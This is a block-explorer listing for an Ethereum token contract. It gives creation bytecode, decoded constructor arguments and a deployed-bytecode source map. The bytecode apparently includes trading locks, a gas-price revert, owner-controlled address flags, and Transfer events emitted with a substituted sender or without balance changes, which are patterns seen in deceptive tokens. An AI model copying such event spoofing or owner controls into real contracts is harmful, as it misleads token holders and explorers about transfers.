0000008152600401611b949190612cf4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611c0d575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401611c049190612cf4565b60405180910390fd5b611c18838383612013565b505050565b5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f69d3c21bcecceda100000043611cf79190612f49565b9050611d04308585611a89565b8373ffffffffffffffffffffffffffffffffffffffff1663f91b3f728330865f8033886040518863ffffffff1660e01b8152600401611d4896959493929190612fbe565b60606040518083038185885af1158015611d64573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611d89919061342a565b50505050505050565b5f69d3c21bcecceda100000043611da99190612f49565b9050611db6308585611a89565b8373ffffffffffffffffffffffffffffffffffffffff1663f305d7198330865f8033886040518863ffffffff1660e01b8152600401611dfa96959493929190612fbe565b60606040518083038185885af1158015611e16573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611e3b919061342a565b50505050505050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611eb4575f6040517fe602df05000000000000000000000000000000000000000000000000000000008152600401611eab9190612cf4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f24575f6040517f94280d62000000000000000000000000000000000000000000000000000000008152600401611f1b9190612cf4565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550801561200d578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516120049190612970565b60405180910390a35b50505050565b60135f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156120725761206d8383836122a2565b61229d565b600f5f9054906101000a900460ff166120c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120b7906134c4565b60405180910390fd5b5f6120c9611246565b90505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361210f576121098484846122a2565b5061229d565b8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121935750600d548260125f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546121919190612f49565b115b156121b2576121a18461267b565b6121ac8484846122a2565b5061229d565b8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156122375750600d548260125f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546122349190612f49565b11155b15612290578160125f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546122889190612f49565b925050819055505b61229b8484846122a2565b505b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036122f2578060025f8282546122e69190612f49565b925050819055506123c0565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101561237b578381836040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401612372939291906133f5565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612407578060025f8282540392505081905550612451565b805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036125305760065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516125239190612970565b60405180910390a3612676565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361260f578173ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516126029190612970565b60405180910390a3612675565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161266c9190612970565b60405180910390a35b5b505050565b5f61268582611150565b11156126bb57600f5f9054906101000a900460ff166126ae576126a96014546126be565b6126ba565b6126b96015546126be565b5b5b50565b803a11156126ca575f80fd5b50565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612707826126de565b9050919050565b612717816126fd565b8114612721575f80fd5b50565b5f813590506127328161270e565b92915050565b5f819050919050565b61274a81612738565b8114612754575f80fd5b50565b5f8135905061276581612741565b92915050565b5f805f805f8060c08789031215612785576127846126d6565b5b5f61279289828a01612724565b96505060206127a389828a01612757565b95505060406127b489828a01612757565b94505060606127c589828a01612757565b93505060806127d689828a01612724565b92505060a06127e789828a01612757565b9150509295509295509295565b6127fd81612738565b82525050565b5f6040820190506128165f8301856127f4565b61282360208301846127f4565b9392505050565b5f6020828403121561283f5761283e6126d6565b5b5f61284c84828501612724565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561288c578082015181840152602081019050612871565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6128b182612855565b6128bb818561285f565b93506128cb81856020860161286f565b6128d481612897565b840191505092915050565b5f6020820190508181035f8301526128f781846128a7565b905092915050565b5f8060408385031215612915576129146126d6565b5b5f61292285828601612724565b925050602061293385828601612757565b9150509250929050565b5f8115159050919050565b6129518161293d565b82525050565b5f60208201905061296a5f830184612948565b92915050565b5f6020820190506129835f8301846127f4565b92915050565b5f805f606084860312156129a05761299f6126d6565b5b5f6129ad86828701612724565b93505060206129be86828701612724565b92505060406129cf86828701612757565b9150509250925092565b5f60ff82169050919050565b6129ee816129d9565b82525050565b5f602082019050612a075f8301846129e5565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b612a4782612897565b810181811067ffffffffffffffff82111715612a6657612a65612a11565b5b80604052505050565b5f612a786126cd565b9050612a848282612a3e565b919050565b5f67ffffffffffffffff821115612aa357612aa2612a11565b5b602082029050602081019050919050565b5f80fd5b5f612aca612ac584612a89565b612a6f565b90508083825260208201905060208402830185811115612aed57612aec612ab4565b5b835b81811015612b165780612b028882612724565b845260208401935050602081019050612aef565b5050509392505050565b5f82601f830112612b3457612b33612a0d565b5b8135612b44848260208601612ab8565b91505092915050565b5f60208284031215612b6257612b616126d6565b5b5f82013567ffffffffffffffff811115612b7f57612b7e6126da565b5b612b8b84828501612b20565b91505092915050565b5f80fd5b5f67ffffffffffffffff821115612bb257612bb1612a11565b5b612bbb82612897565b9050602081019050919050565b828183375f83830152505050565b5f612be8612be384612b98565b612a6f565b905082815260208101848484011115612c0457612c03612b94565b5b612c0f848285612bc8565b509392505050565b5f82601f830112612c2b57612c2a612a0d565b5b8135612c3b848260208601612bd6565b91505092915050565b5f8060408385031215612c5a57612c596126d6565b5b5f83013567ffffffffffffffff811115612c7757612c766126da565b5b612c8385828601612c17565b925050602083013567ffffffffffffffff811115612ca457612ca36126da565b5b612cb085828601612c17565b9150509250929050565b5f60208284031215612ccf57612cce6126d6565b5b5f612cdc84828501612757565b91505092915050565b612cee816126fd565b82525050565b5f602082019050612d075f830184612ce5565b92915050565b5f8060408385031215612d2357612d226126d6565b5b5f83013567ffffffffffffffff811115612d4057612d3f6126da565b5b612d4c85828601612b20565b9250506020612d5d85828601612757565b9150509250929050565b5f8060408385031215612d7d57612d7c6126d6565b5b5f612d8a85828601612724565b9250506020612d9b85828601612724565b9150509250929050565b612dae8161293d565b8114612db8575f80fd5b50565b5f81359050612dc981612da5565b92915050565b5f8060408385031215612de557612de46126d6565b5b5f612df285828601612724565b9250506020612e0385828601612dbb565b9150509250929050565b5f606082019050612e205f8301866127f4565b612e2d60208301856127f4565b612e3a60408301846127f4565b949350505050565b5f81519050612e5081612741565b92915050565b5f60208284031215612e6b57612e6a6126d6565b5b5f612e7884828501612e42565b91505092915050565b5f606082019050612e945f830186612ce5565b612ea16020830185612ce5565b612eae60408301846127f4565b949350505050565b5f81519050612ec481612da5565b92915050565b5f60208284031215612edf57612ede6126d6565b5b5f612eec84828501612eb6565b91505092915050565b5f604082019050612f085f830185612ce5565b612f1560208301846127f4565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612f5382612738565b9150612f5e83612738565b9250828201905080821115612f7657612f75612f1c565b5b92915050565b5f819050919050565b5f819050919050565b5f612fa8612fa3612f9e84612f7c565b612f85565b612738565b9050919050565b612fb881612f8e565b82525050565b5f60c082019050612fd15f830189612ce5565b612fde60208301886127f4565b612feb6040830187612faf565b612ff86060830186612faf565b6130056080830185612ce5565b61301260a08301846127f4565b979650505050505050565b5f8060408385031215613033576130326126d6565b5b5f61304085828601612e42565b925050602061305185828601612e42565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061309f57607f821691505b6020821081036130b2576130b161305b565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6130ef82612738565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361312157613120612f1c565b5b600182019050919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026131887fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8261314d565b613192868361314d565b95508019841693508086168417925050509392505050565b5f6131c46131bf6131ba84612738565b612f85565b612738565b9050919050565b5f819050919050565b6131dd836131aa565b6131f16131e9826131cb565b848454613159565b825550505050565b5f90565b6132056131f9565b6132108184846131d4565b505050565b5b81811015613233576132285f826131fd565b600181019050613216565b5050565b601f821115613278576132498161312c565b6132528461313e565b81016020851015613261578190505b61327561326d8561313e565b830182613215565b50505b505050565b5f82821c905092915050565b5f6132985f198460080261327d565b1980831691505092915050565b5f6132b08383613289565b9150826002028217905092915050565b6132c982612855565b67ffffffffffffffff8111156132e2576132e1612a11565b5b6132ec8254613088565b6132f7828285613237565b5f60209050601f831160018114613328575f8415613316578287015190505b61332085826132a5565b865550613387565b601f1984166133368661312c565b5f5b8281101561335d57848901518255600182019150602085019450602081019050613338565b8683101561337a5784890151613376601f891682613289565b8355505b6001600288020188555050505b505050505050565b5f8151905061339d8161270e565b92915050565b5f602082840312156133b8576133b76126d6565b5b5f6133c58482850161338f565b91505092915050565b5f6040820190506133e15f830185612ce5565b6133ee6020830184612ce5565b9392505050565b5f6060820190506134085f830186612ce5565b61341560208301856127f4565b61342260408301846127f4565b949350505050565b5f805f60608486031215613441576134406126d6565b5b5f61344e86828701612e42565b935050602061345f86828701612e42565b925050604061347086828701612e42565b9150509250925092565b7f547261646520686173206e6f74206265656e206f70656e6564207965740000005f82015250565b5f6134ae601d8361285f565b91506134b98261347a565b602082019050919050565b5f6020820190508181035f8301526134db816134a2565b905091905056fea2646970667358221220beac582bba54abb1f06c5c2ad7026253aa795e6c7f25fe006af17b15b0905eda64736f6c63430008140033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000f8277896582678ac000000000000000000000000000000000000000000000000f8277896582678ac000000000000000000000000000000b59a5c6fcde126689a962316bfe47b19434ac03b00000000000000000000000000000000000000000000000000000000000000c80000000000000000000000000000000000000000000000000000000000000001

-----Decoded View---------------
Arg [0] : _totalSupply (uint256): 300000000000000000000000000
Arg [1] : tokenAmount (uint256): 300000000000000000000000000
Arg [2] : deployer (address): 0xB59a5C6fcDE126689a962316bfe47b19434ac03b
Arg [3] : _tokenAllowFeeAmount (uint256): 200
Arg [4] : transferToDeployer (bool): True

-----Encoded View---------------
5 Constructor Arguments found :
Arg [0] : 000000000000000000000000000000000000000000f8277896582678ac000000
Arg [1] : 000000000000000000000000000000000000000000f8277896582678ac000000
Arg [2] : 000000000000000000000000b59a5c6fcde126689a962316bfe47b19434ac03b
Arg [3] : 00000000000000000000000000000000000000000000000000000000000000c8
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000001


Deployed Bytecode Sourcemap

29683:9556:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;32319:1203;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;;:::i;:::-;;;;;;;;38123:196;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;37567:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20967:186;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29886:46;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;30205:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19806:97;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;30267:41;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21716:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;37247:77;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;35282:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;38857:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;36986:88;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29785:45;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;37333:162;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;30110:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;30238:23;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;37083:155;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;30078:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;30314:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;30165:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;38769:79;;;;;;;;;;;;;:::i;:::-;;29992:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19964:116;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12242:101;;;;;;;;;;;;;:::i;:::-;;30034:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;37884:113;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;31507:803;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11581:85;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;37777:98;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;30416:41;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29739:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;39033:203;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;20278:178;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;35877:116;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;30137:22;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29938:44;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20517:140;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;38006:108;;;;;;;;;;;;;:::i;:::-;;35166:107;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;30365:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29836:44;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12495:215;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;33531:782;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;;;:::i;:::-;;;;;;;;32319:1203;32545:19;32566:17;11471:13;:11;:13::i;:::-;32595:19:::1;32617:16;:14;:16::i;:::-;32595:38;;32643:16;32669:11;32662:29;;;32692:10;32662:41;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;32643:60;;32720:11;32713:32;;;32746:10;32766:4;32773:8;32713:69;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;32792:15;32810:12;:10;:12::i;:::-;32792:30;;32832:22;32857:10;:19;32868:7;32857:19;;;;;;;;;;;;;;;;;;;;;32832:44;;32893:11;32886:27;;;32914:14;32930:8;32886:53;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;29825:5;32957:7;:24:::0;32953:563:::1;;33005:14;32997:43;;;33066:4;33089:8;33115:1;33134::::0;33153:10:::1;33196:24;33181:12;:39;;;;:::i;:::-;32997:237;;;;;;;;;;;;;;;;;;;;:::i;:::-;;::::0;::::1;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;32953:563;;;33273:14;33265:42;;;33333:4;33356:8;33382:1;33401::::0;33420:10:::1;33463:24;33448:12;:39;;;;:::i;:::-;33265:236;;;;;;;;;;;;;;;;;;;;:::i;:::-;;::::0;::::1;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;32953:563;32585:937;;;;32319:1203:::0;;;;;;;;;:::o;38123:196::-;11471:13;:11;:13::i;:::-;38193:20:::1;38223:5;38216:23;;;38248:4;38216:38;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;38193:61;;38271:5;38264:22;;;38287:10;38299:12;38264:48;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;38183:136;38123:196:::0;:::o;37567:94::-;37613:13;37645:9;37638:16;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;37567:94;:::o;20967:186::-;21040:4;21056:13;21072:12;:10;:12::i;:::-;21056:28;;21094:31;21103:5;21110:7;21119:5;21094:8;:31::i;:::-;21142:4;21135:11;;;20967:186;;;;:::o;29886:46::-;29927:5;29886:46;:::o;30205:27::-;;;;:::o;19806:97::-;19858:7;19884:12;;19877:19;;19806:97;:::o;30267:41::-;;;;;;;;;;;;;;;;;;;;;;:::o;21716:244::-;21803:4;21819:15;21837:12;:10;:12::i;:::-;21819:30;;21859:37;21875:4;21881:7;21890:5;21859:15;:37::i;:::-;21906:26;21916:4;21922:2;21926:5;21906:9;:26::i;:::-;21949:4;21942:11;;;21716:244;;;;;:::o;37247:77::-;37288:7;37314:2;37307:9;;37247:77;:::o;35282:91::-;35340:5;35364:2;35357:9;;35282:91;:::o;38857:167::-;11471:13;:11;:13::i;:::-;38931:9:::1;38926:92;38950:4;:11;38946:1;:15;38926:92;;;39003:4;38982:9;:18;38992:4;38997:1;38992:7;;;;;;;;:::i;:::-;;;;;;;;38982:18;;;;;;;;;;;;;;;;:25;;;;;;;;;;;;;;;;;;38963:3;;;;;:::i;:::-;;;;38926:92;;;;38857:167:::0;:::o;36986:88::-;37033:4;37056:11;;;;;;;;;;;37049:18;;36986:88;:::o;29785:45::-;29825:5;29785:45;:::o;37333:162::-;11471:13;:11;:13::i;:::-;37448:7:::1;37436:9;:19;;;;;;:::i;:::-;;37479:9;37465:11;:23;;;;;;:::i;:::-;;37333:162:::0;;:::o;30110:21::-;;;;:::o;30238:23::-;;;;;;;;;;;;;:::o;37083:155::-;37126:7;37145:10;37194:9;37188:15;;37229:2;37222:9;;;37083:155;:::o;30078:26::-;;;;:::o;30314:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;30165:34::-;;;;:::o;38769:79::-;11471:13;:11;:13::i;:::-;38830:11:::1;;;;;;;;;;;38829:12;38815:11;;:26;;;;;;;;;;;;;;;;;;38769:79::o:0;29992:36::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;19964:116::-;20029:7;20055:9;:18;20065:7;20055:18;;;;;;;;;;;;;;;;20048:25;;19964:116;;;:::o;12242:101::-;11471:13;:11;:13::i;:::-;12306:30:::1;12333:1;12306:18;:30::i;:::-;12242:101::o:0;30034:34::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;37884:113::-;11471:13;:11;:13::i;:::-;37984:6:::1;37962:19;:28;;;;37884:113:::0;:::o;31507:803::-;31554:7;31573:13;31596:15;31614:12;:10;:12::i;:::-;31596:30;;31636:22;31661:10;:19;31672:7;31661:19;;;;;;;;;;;;;;;;;;;;;31636:44;;29825:5;31694:7;:24;31690:329;;31830:14;31822:29;;;:31;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;31814:39;;31690:329;;;31982:14;31974:28;;;:30;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;31966:38;;31690:329;32028:13;32052:4;32028:29;;32072:14;32088;32114:5;32106:13;;:5;:13;;;:47;;32140:5;32147;32106:47;;;32123:5;32130;32106:47;32071:82;;;;32163:16;32190:14;32182:31;;;:33;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;32163:52;;32225:12;32249:8;32240:26;;;32267:6;32275;32240:42;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;32225:57;;32299:4;32292:11;;;;;;;;;;31507:803;:::o;11581:85::-;11627:7;11653:6;;;;;;;;;;;11646:13;;11581:85;:::o;37777:98::-;37825:13;37857:11;37850:18;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;37777:98;:::o;30416:41::-;;;;;;;;;;;;;;;;;;;;;;:::o;29739:40::-;29778:1;29739:40;:::o;39033:203::-;11471:13;:11;:13::i;:::-;39129:9:::1;39124:106;39148:4;:11;39144:1;:15;39124:106;;;39203:4;39208:1;39203:7;;;;;;;;:::i;:::-;;;;;;;;39185:34;;39194:7;:5;:7::i;:::-;39185:34;;;39212:6;39185:34;;;;;;:::i;:::-;;;;;;;;39161:3;;;;;:::i;:::-;;;;39124:106;;;;39033:203:::0;;:::o;20278:178::-;20347:4;20363:13;20379:12;:10;:12::i;:::-;20363:28;;20401:27;20411:5;20418:2;20422:5;20401:9;:27::i;:::-;20445:4;20438:11;;;20278:178;;;;:::o;35877:116::-;11471:13;:11;:13::i;:::-;35979:7:::1;35957:10;:19;35968:7;35957:19;;;;;;;;;;;;:29;;;;;;;;;;;;;;;;;;35877:116:::0;;:::o;30137:22::-;;;;:::o;29938:44::-;29977:5;29938:44;:::o;20517:140::-;20597:7;20623:11;:18;20635:5;20623:18;;;;;;;;;;;;;;;:27;20642:7;20623:27;;;;;;;;;;;;;;;;20616:34;;20517:140;;;;:::o;38006:108::-;11471:13;:11;:13::i;:::-;38064:10:::1;38056:28;;:51;38085:21;38056:51;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;38006:108::o:0;35166:107::-;11471:13;:11;:13::i;:::-;35260:6:::1;35242:9;:15;35252:4;35242:15;;;;;;;;;;;;;;;;:24;;;;;;;;;;;;;;;;;;35166:107:::0;;:::o;30365:45::-;;;;;;;;;;;;;;;;;:::o;29836:44::-;29876:4;29836:44;:::o;12495:215::-;11471:13;:11;:13::i;:::-;12599:1:::1;12579:22;;:8;:22;;::::0;12575:91:::1;;12652:1;12624:31;;;;;;;;;;;:::i;:::-;;;;;;;;12575:91;12675:28;12694:8;12675:18;:28::i;:::-;12495:215:::0;:::o;33531:782::-;33751:16;33769:14;33785;11471:13;:11;:13::i;:::-;33811:20:::1;33834:9;33811:32;;33853:15;33871:12;:10;:12::i;:::-;33853:30;;33893:13;33916:22:::0;33941:10:::1;:19;33952:7;33941:19;;;;;;;;;;;;;;;;;;;;;33916:44;;29825:5;33974:7;:24:::0;33970:337:::1;;34014:70;34035:14;34051:18;34071:12;34014:20;:70::i;:::-;34114:14;34106:29;;;:31;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;34098:39;;33970:337;;;34168:72;34191:14;34207:18;34227:12;34168:22;:72::i;:::-;34270:14;34262:28;;;:30;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;34254:38;;33970:337;33801:512;;;;33531:782:::0;;;;;;;;;;:::o;11742:162::-;11812:12;:10;:12::i;:::-;11801:23;;:7;:5;:7::i;:::-;:23;;;11797:101;;11874:12;:10;:12::i;:::-;11847:40;;;;;;;;;;;:::i;:::-;;;;;;;;11797:101;11742:162::o;9611:96::-;9664:7;9690:10;9683:17;;9611:96;:::o;25893:128::-;25977:37;25986:5;25993:7;26002:5;26009:4;25977:8;:37::i;:::-;25893:128;;;:::o;27573:477::-;27672:24;27699:25;27709:5;27716:7;27699:9;:25::i;:::-;27672:52;;27758:17;27738:16;:37;27734:310;;27814:5;27795:16;:24;27791:130;;;27873:7;27882:16;27900:5;27846:60;;;;;;;;;;;;;:::i;:::-;;;;;;;;27791:130;27962:57;27971:5;27978:7;28006:5;27987:16;:24;28013:5;27962:8;:57::i;:::-;27734:310;27662:388;27573:477;;;:::o;22336:300::-;22435:1;22419:18;;:4;:18;;;22415:86;;22487:1;22460:30;;;;;;;;;;;:::i;:::-;;;;;;;;22415:86;22528:1;22514:16;;:2;:16;;;22510:86;;22582:1;22553:32;;;;;;;;;;;:::i;:::-;;;;;;;;22510:86;22605:24;22613:4;22619:2;22623:5;22605:7;:24::i;:::-;22336:300;;;:::o;12867:187::-;12940:16;12959:6;;;;;;;;;;;12940:25;;12984:8;12975:6;;:17;;;;;;;;;;;;;;;;;;13038:8;13007:40;;13028:8;13007:40;;;;;;;;;;;;12930:124;12867:187;:::o;36497:480::-;36642:16;36676:25;36661:12;:40;;;;:::i;:::-;36642:59;;36711:51;36728:4;36735:13;36750:11;36711:8;:51::i;:::-;36780:13;36772:39;;;36819:12;36854:4;36873:11;36898:1;36913;36928:10;36952:8;36772:198;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;